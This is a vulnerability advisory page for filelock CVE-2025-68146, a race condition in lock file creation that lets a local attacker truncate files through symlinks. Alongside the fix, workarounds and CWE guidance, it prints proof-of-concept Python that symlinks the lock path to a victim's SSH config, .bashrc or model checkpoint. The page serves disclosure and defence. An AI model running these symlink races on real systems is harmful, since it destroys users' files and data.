Skip to content

GHSA-w853-jp5j-5j7f CVE-2025-68146 PYSEC-2026-1375

filelock has a TOCTOU race condition which allows symlink attacks during lock file creation

Medium PyPI
Severity
6.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.20%
Chance of exploitation in the next 30 days. Higher than 9.55% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition
CWE-59 Improper Link Resolution Before File Access ('Link Following')
Fix
3.20.1
Upgrade filelock to this version or later

Description

Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.

Who is impacted:

All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:

  • virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths
  • PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures
  • poetry/tox users: through using virtualenv or filelock on their own.

Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.

Patches

Fixed in version 3.20.1.

Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.

Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().

Users should upgrade to filelock 3.20.1 or later immediately.

Workarounds

If immediate upgrade is not possible:

  1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
  2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
  3. Monitor lock file directories for suspicious symlinks before running trusted applications

Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.


Technical Details: How the Exploit Works

The Vulnerable Code Pattern

Unix/Linux/macOS (src/filelock/_unix.py:39-44):

def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate

Windows (src/filelock/_windows.py:19-28):

def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate

The Race Window

The vulnerability exists in the gap between operations:

Unix variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Windows variant:

Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️

Step-by-Step Attack Flow

1. Attacker Setup:

# Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target

2. Attacker Creates Race Condition:

import os
import threading


def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")


# Launch attack
threading.Thread(target=attacker_thread).start()

3. Victim Application Runs:

from filelock import UnixFileLock

# Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE
# At this point, /home/victim/.ssh/config is now 0 bytes!

4. What Happens Inside os.open():

On Unix systems, when os.open() is called:

// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}

Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.

Why the Attack Succeeds Reliably

Timing Characteristics:

  • Check operation (Path.exists()): ~100-500 nanoseconds
  • Symlink creation (os.symlink()): ~1-10 microseconds
  • Race window: ~1-5 microseconds (very small but exploitable)
  • Thread scheduling quantum: ~1-10 milliseconds

Success factors:

  1. Tight loop: Running attack in a loop hits the race window within 1-3 attempts
  2. CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations
  3. No synchronization: No atomic file creation prevents the race
  4. Symlink speed: Creating symlinks is extremely fast (metadata-only operation)

Real-World Attack Scenarios

Scenario 1: virtualenv Exploitation

# Victim runs: python -m venv /tmp/myenv
# Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

# Result: /home/victim/.bashrc overwritten with:
# home = /usr/bin/python3
# include-system-site-packages = false
# version = 3.11.2
# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker

Scenario 2: PyTorch Cache Poisoning

# Victim runs: import torch
# PyTorch checks CPU capabilities, uses filelock on cache
# Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

# Result: Trained ML model checkpoint truncated to 0 bytes
# Impact: Weeks of training lost, ML pipeline DoS

Why Standard Defenses Don't Help

File permissions don't prevent this:

  • Attacker doesn't need write access to victim_file
  • os.open() with O_TRUNC follows symlinks using the victim's permissions
  • The victim process truncates its own file

Directory permissions help but aren't always feasible:

  • Lock files often created in shared /tmp directory (mode 1777)
  • Applications may not control lock file location
  • Many apps use predictable paths in user-writable directories

File locking doesn't prevent this:

  • The truncation happens during the open() call, before any lock is acquired
  • fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks

Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

Simple Direct Attack (filelock_simple_poc.py):

  • Success rate: 33% per attempt (1 in 3 tries)
  • Average attempts to success: 2.1
  • Target file reduced to 0 bytes in <100ms

virtualenv Attack (weaponized_virtualenv.py):

  • Success rate: ~90% on first attempt (deterministic timing)
  • Information leaked: File paths, Python version, system configuration
  • Data corruption: Complete loss of original file contents

PyTorch Attack (weaponized_pytorch.py):

  • Success rate: 25-40% per attempt
  • Impact: Application crashes, model loading failures
  • Recovery: Requires cache rebuild or model retraining

Discovered and reported by: George Tsigourakos (@tsigouris007)

Affected versions

PyPI

PackageVulnerableFixed in
filelock
< 3.20.1
3.20.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

filelock PyPI → 3.20.1

pip
pip install --upgrade "filelock>=3.20.1"
poetry
poetry add "filelock>=3.20.1"
uv
uv add "filelock>=3.20.1"

Severity breakdown

CVSS 3.1 6.3

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Weakness

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

How to prevent it
  • Architecture and Design: In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
  • Architecture and Design: Use thread-safe capabilities such as the data access abstraction in Spring.
  • Architecture and Design: Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
  • Implementation: When using multithreading and operating on shared variables, only use thread-safe functions.
  • Implementation: Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
  • Implementation: Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
  • Implementation: Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
  • Implementation: Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
  • Implementation: Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.

How to prevent it
  • Implementation: The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
  • Implementation: When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
  • Architecture and Design: Limit the interleaving of operations on files from multiple processes.
  • Implementation, Architecture and Design: If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
  • Implementation: Recheck the resource after the use call to verify that the action was taken appropriately.
  • Architecture and Design: Ensure that some environmental locking mechanism can be used to protect resources effectively.
  • Implementation: Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

CWE-59: Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

How to prevent it
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wfhq-q4j2-c37m
filelock: SoftReadWriteLock follows a lock tree swapped in after its first acquire and writes lock records into directories of the user running the lock
Low Also affects filelock
GHSA-6627-m3xw-93mp
filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write bit on them can end a live hold
Medium Also affects filelock
GHSA-9c4x-gm8v-wgc4
filelock: StrictSoftFileLock and SoftReadWriteLock adopt a protocol directory another user created first, losing mutual exclusion
Medium Also affects filelock
GHSA-8mx5-7m5m-r77g
filelock: WindowsFileLock ignores mode: a 0o600 lock file and the ReadWriteLock database inherit the directory ACL
Medium Also affects filelock
GHSA-cwqr-hh33-gh44
filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout
Medium Also affects filelock
GHSA-rfpc-qcw5-3pc4
filelock: SoftFileLock removes a live holder's marker when another user forges the PID in a writable marker
Medium Also affects filelock
GHSA-9j6q-wvj5-jgjg
filelock: Symlink swap during SoftFileLock's writability check leaks whether a path exists and is writable by the lock taker
Low Also affects filelock
GHSA-69hj-f68j-2879
filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path
Medium Also affects filelock
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor